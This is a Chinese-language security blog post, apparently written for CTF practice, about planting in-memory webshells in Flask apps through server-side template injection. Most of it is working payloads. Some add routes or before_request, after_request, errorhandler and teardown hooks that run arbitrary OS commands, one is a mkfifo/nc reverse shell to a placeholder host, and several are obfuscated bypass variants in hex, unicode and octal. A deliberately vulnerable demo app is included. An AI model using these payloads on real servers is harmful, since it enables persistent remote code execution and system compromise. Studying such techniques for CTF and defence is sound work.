· 11 min read · 5084 words · Research

基于flask的内存马

本期推荐

泪桥 -伍佰
III - Athletics

前言

众所周知,我们的题目可以分为出网与不出网两种模式,要是遇到可以出网的情况,最好还是弹shell,但是若是不能出网,内存马是我们的保底解
但是也是有特殊情况的,比如在下文我们要介绍的一种钩子函数:teardown_request,由于这种钩子函数无回显的特性,我们可以选择弹shell(也可以重定向到某个目录下)

内存马与flask

我们一般常见的python框架有Django和Flask(不知道为啥拉蒙特徐那么爱出bottle),python的内存马中一般就是利用flask框架的ssti来进行注入,一般来说都在渲染的时候没对用户传输的代码进行过滤,所以用户可以用类似ssti的方式注入内存马,得到shell

前置知识

flask的请求上下文管理机制

在我们request进入flask的时候,就会实例化一个request context,这个时候就会分成两种上下文,一种是请求上下文(request context),另外一种是应用上下文(session context)

上下文的结构均为stack的栈结构。大家都知道栈这种数据结构的特点,也就是后进先出,可以想象成一盒泡腾片,最后放进去的泡腾片会最先被拿出来

这个request context实例化后就拥有了一个栈的全部的特性了,在实例化后会被push到栈_request_ctx_stack中,根据这层特性就可以通过获取栈顶元素的方法来获取当前的请求

应用上下文:
current_app:当前运行的flask实例
g:用于在一次请求中临时存储数据的对象(如数据库连接)

请求上下文:
request:封装了http的请求信息
session:用户会话对象,基于cookie

钩子的区别

钩子分为两种

  1. 全局钩子(所有请求)
  2. 模块钩子(蓝图钩子)

POC环境搭建

上网找了一个现成的

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():  # put application's code here
    person = 'knave'
    if request.args.get('cmd'):
        person = request.args.get('cmd')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)


if __name__ == '__main__':
    app.run()

可以直接在vps上试试看

老版内存马

第一种payload

在flask基础开发那里我有提到过一种添加url路由的方法,也就是add_url_rule,可以直接根据你给的参数名生成路由

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

很长一串啊,想起来了被pyjail支配的恐怖日子,丢给AI整理一手

# 从 url_for 的全局变量里拿到必要对象
builtins = url_for.__globals__['__builtins__']
request_ctx_stack = url_for.__globals__['_request_ctx_stack']
app = url_for.__globals__['current_app']

# 动态执行 Python 代码:给 Flask 应用加一个 /shell 路由
builtins['eval'](
    """
app.add_url_rule(
    '/shell',                      # 路由路径
    'shell',                       # 端点名称
    lambda: __import__('os')       # 路由对应的视图函数
                 .popen(
                     _request_ctx_stack.top.request.args.get('cmd', 'whoami')
                 )
                 .read()
)
    """,
    {
        '_request_ctx_stack': request_ctx_stack,
        'app': app
    }
)

逐一分析解释
1.

builtins = url_for.__globals__['__builtins__']

拿到flask模块的全局命名空间,然后把其中的builtins类丢给了同名变量

request_ctx_stack = url_for.__globals__['_request_ctx_stack']
app = url_for.__globals__['current_app']

这两个也是同理,上文都介绍过了这两个东西
2.
后续从builtins中拿出来eval

add_url_rule()详解

前文有提到过相关内容,主要有5个参数

add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None,options)
1. rule就可以简单的理解为url路径
2. endpoint可以理解为端点名称
3. view_func就是视图函数
4. provide_automatic_options: 控制是否应自动添加选项方法.
5. options: 要转发到基础规则对象的选项,其他可选参数,比如定义运行的http方法
  1. 看看我们的老版payload,在视图函数处定义了一个lamnda匿名函数
lambda: __import__('os')       # 路由对应的视图函数
                 .popen(
                     _request_ctx_stack.top.request.args.get('cmd', 'whoami')
                 )
                 .read()

这里就很显然了

这里定义了一个匿名函数,os->popen->拿到了栈的最顶端请求request对象(前文也有提到),然后就用cmd这个get参数,构造了一个系统命令,然后执行输出

老版内存马这里的lambda写在了视图函数处,所以说当中国add_url_rule被成功执行的时候,用户一旦切到所插入的/shell的页面,就会执行这个lambda
所以可以达到执行whoami

  1. 后面那段就是局部变量字典之流
{
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
}

第二种payload

似乎是用了和之前XYCTF中拉蒙特徐说过的那种特性

也就是说一个模块其中的某个部分,如os.a这样子的拿出来重新赋值,然后再调用的时候就是我们赋的值那样(当然我感觉只是类似而已,并非相同)

下面这段内容摘自sun师傅的博客,我感觉讲的非常好,没有什么可以补充的了

众所周知,sys.modules['__main__']为当前运行的主模块(也就是正在执行的.py文件)对应的模块对象
把你执行的文件当作一个模块载入
把它的名字设为 "__main__"(不管你文件叫什么)
把这个模块的变量、函数、类都注册到 sys.modules['__main__'] 中
可以等价一下
globals()  ==  sys.modules['__main__'].__dict__

```​

所以我们可以去更改main里面的app(一般都是app),把路由绑定上lambda函数,最后实现打入内存马

sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
​
__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd')).read())

导入模块若成功,那么打入内存马应该也是没什么问题的

新版内存马

关于特殊装饰器(钩子函数)

装饰器的内容在我们前面开发的那篇博客中就已经说过了

常见的特殊装饰器有:

  1. before_request
  2. after_request
  3. errorhandler
  4. teardown_appcontext
  5. teardown_request

before_request方法

这个方法可以让我们在每次的请求之前进行一些操作,在flask的基础开发中,一般是用这个方法来进行一些预处理操作,比如身份验证

跟进源码

  @setupmethod
    def before_request(self, f: T_before_request) -> T_before_request:
        """Register a function to run before each request.
​
        For example, this can be used to open a database connection, or
        to load the logged in user from the session.
​
        .. code-block:: python
​
            @app.before_request
            def load_user():
                if "user_id" in session:
                    g.user = db.session.get(session["user_id"])
​
        The function will be called without any arguments. If it returns
        a non-``None`` value, the value is handled as if it was the
        return value from the view, and further request handling is
        stopped.
​
        This is available on both app and blueprint objects. When used on an app, this
        executes before every request. When used on a blueprint, this executes before
        every request that the blueprint handles. To register with a blueprint and
        execute before every request, use :meth:`.Blueprint.before_app_request`.
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f

大段大段的注释
看到最后有一个 before_request_funcs

这个就是before_request装饰器的底层逻辑,作用就是把我定义的函数注册为一个请求前钩子函数

在这里before_request实际上调用的就是self.before_request_funcs.setdefault(None, []).append(f)
意思就是

  1. 检查self.before_request_funcs.setdefault字典中是否有一个键为None的条目
  2. 若没有None键,就在字典中创建它,并且把它的值设置为一个空列表
  3. 无论None键是否存在,都会把f添加到这个列表中,然后before_request的时候调用

这个f就是访问值,我们把f定义为一个lambda函数,那么每次请求前就可以被调用

这个函数在app中,我们可以通过sys.modules来夺取(这个在上面我们也有提到过)

payload

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami

这里通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request装饰器触发自定义后门函数执行命令
包子王的那个先导一遍app再打payload,我感觉是挺麻烦的
然后再看两条其实意义也差不多的payload

url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())")
​
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

其中第二条payload中

__import__('sys').modules['__main__'].__dict__['app']

这个可以获取当前的flask实例,那你自然就可以得到before_request_funcs.setdefault

after_request方法

我英语并不好,但是看到了名字也大概清楚是做什么用的

依然爆炒源码

@setupmethod
    def after_request(self, f: T_after_request) -> T_after_request:
        """Register a function to run after each request to this object.
​
        The function is called with the response object, and must return
        a response object. This allows the functions to modify or
        replace the response before it is sent.
​
        If a function raises an exception, any remaining
        ``after_request`` functions will not be called. Therefore, this
        should not be used for actions that must execute, such as to
        close resources. Use :meth:`teardown_request` for that.
​
        This is available on both app and blueprint objects. When used on an app, this
        executes after every request. When used on a blueprint, this executes after
        every request that the blueprint handles. To register with a blueprint and
        execute after every request, use :meth:`.Blueprint.after_app_request`.
        """
        self.after_request_funcs.setdefault(None, []).append(f)
        return f

长得和before_request差不多

payload

url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

但是众所周知
after和before的区别就是,after之后就没有response了,而before有,所以我们before的内存马可以那么构造
而after,仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response
把payload整理一下

url_for.__globals__['__builtins__']['eval'](
    '''
    app.after_request_funcs.setdefault(None, []).append(
        lambda resp: CmdResp if request.args.get('cmd') and exec(
            \"\"\"
            global CmdResp;
            CmdResp = __import__('flask').make_response(
                __import__('os').popen(request.args.get('cmd')).read()
            )
            \"\"\"
        ) == None else resp
    )
    ''',
    {
        'request': url_for.__globals__['request'],
        'app': url_for.__globals__['current_app']
    }
)

仔细的理解一下中间的lambda表达式

lambda resp: #传入resp参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     #定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #exec函数返回None,所以恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

三元表达式

A if condition else B

即:若condition为真,返回A,否则B

接下来要清楚,exec返回的结果都是None,所以and后面是恒真的(之前出题的时候也有遇到过,索性记下来了)

CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())

这其中为什么字符串中要有\呢,因为我们写的payload是一个字符串形式的python代码,那么转义就很有必要了,这里就是起到转义的作用

这最后再else resp是因为after_request是要定义一个返回值的,否则回报错,所以我们这里万一没传参也要返回一个response

errorhandler方法

这个可以用于自定义404页面的回显,flask404的时候,我们用errorhandler定义的自定义的错误处理函数就会处理错误,并且返回适当的响应

看看源码

@setupmethod
    def errorhandler(
        self, code_or_exception: t.Union[t.Type[Exception], int]
    ) -> t.Callable[["ErrorHandlerCallable"], "ErrorHandlerCallable"]:
        """注册一个函数以处理按代码或异常类的错误。

        一个装饰器,用于注册给定错误代码的函数。例如:

            @app.errorhandler(404)
            def page_not_found(error):
                return '此页面不存在', 404

        你也可以注册任意异常的处理程序:

            @app.errorhandler(DatabaseError)
            def special_exception_handler(error):
                return '数据库连接失败', 500
        """
        def decorator(f: "ErrorHandlerCallable") -> "ErrorHandlerCallable":
            self.register_error_handler(code_or_exception, f)
            return f

        return decorator

f就是我们定义的处理函数,但是我们还是得去跟进看一下register_error_handler

    def register_error_handler(
        self,
        code_or_exception: t.Union[t.Type[Exception], int],
        f: "ErrorHandlerCallable",
    ) -> None:
        if isinstance(code_or_exception, HTTPException):  # old broken behavior
            raise ValueError(
                "Tried to register a handler for an exception instance"
                f" {code_or_exception!r}. Handlers can only be"
                " registered for exception classes or HTTP error codes."
            )

        try:
            exc_class, code = self._get_exc_class_and_code(code_or_exception)
        except KeyError:
            raise KeyError(
                f"'{code_or_exception}' is not a recognized HTTP error"
                " code. Use a subclass of HTTPException with that code"
                " instead."
            ) from None

        self.error_handler_spec[None][code][exc_class] = f

这里就是直接把结果赋值给f回显到错误的页面

payload

{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}

teardown_appcontext

teardown_request

在每个请求之后要运行的函数,每一次的请求都会执行一次

在每个请求的最后阶段执行的,即在视图函数处理完成并生成响应后,或者在请求中发生未处理的异常时,都会执行这个 hook,他执行的事迹是在响应已经确认之后,但是最终发送给客户端之前

def teardown_request(self, f: T_teardown) -> T_teardown:
        """Register a function to be called when the request context is
        popped. Typically this happens at the end of each request, but
        contexts may be pushed manually as well during testing.
​
        .. code-block:: python
​
            with app.test_request_context():
                ...
​
        When the ``with`` block exits (or ``ctx.pop()`` is called), the
        teardown functions are called just before the request context is
        made inactive.
​
        When a teardown function was called because of an unhandled
        exception it will be passed an error object. If an
        :meth:`errorhandler` is registered, it will handle the exception
        and the teardown will not receive it.
​
        Teardown functions must avoid raising exceptions. If they
        execute code that might fail they must surround that code with a
        ``try``/``except`` block and log any errors.
​
        The return values of teardown functions are ignored.
​
        This is available on both app and blueprint objects. When used on an app, this
        executes after every request. When used on a blueprint, this executes after
        every request that the blueprint handles. To register with a blueprint and
        execute after every request, use :meth:`.Blueprint.teardown_app_request`.
        """
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f

怎么又长这样?

要注意的是这个函数是没有回显的,所以我们可以利用反弹shell或者说写入文件

弹shell payload

url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').system('mkfifo /tmp/fifo; /bin/sh -i < /tmp/fifo | nc xxxxxxxxxxx xxxx > /tmp/fifo; rm /tmp/fifo'))")

写文件payload

url_for.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen('ls > 1.txt').read())")

teardown_appcontext

其实和teardown_request差不多,但是不能动态接受get参数
同样需要弹shell和写文件

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}

一些bypass
摘自ChaMD5安全团队和the0n3师傅的博客

ByPass
在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.

url_for可替换为get_flashed_messages或者request.__init__或者request.application.
代码执行函数替换, 如exec等替换eval.
字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
__globals__可用__getattribute__('__globa'+'ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
过滤了.可以采用attr()或[]绕过.
其它的手法参考SSTI绕过过滤的方法即可…

原Payload

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

变形Payload-1

request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})

变形Payload-2

get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

使用os.wrap的内置函数exec打入内存马

原始payload

''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")

八进制payload

''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())")

详细情况请看博客
https://the0n3.top/pages/77dbc1/#%E6%97%A0%E5%AD%97%E6%AF%8D%E6%89%93%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC

总结

这篇我也鸽了10多天才补上,最近有点贪玩了(不好)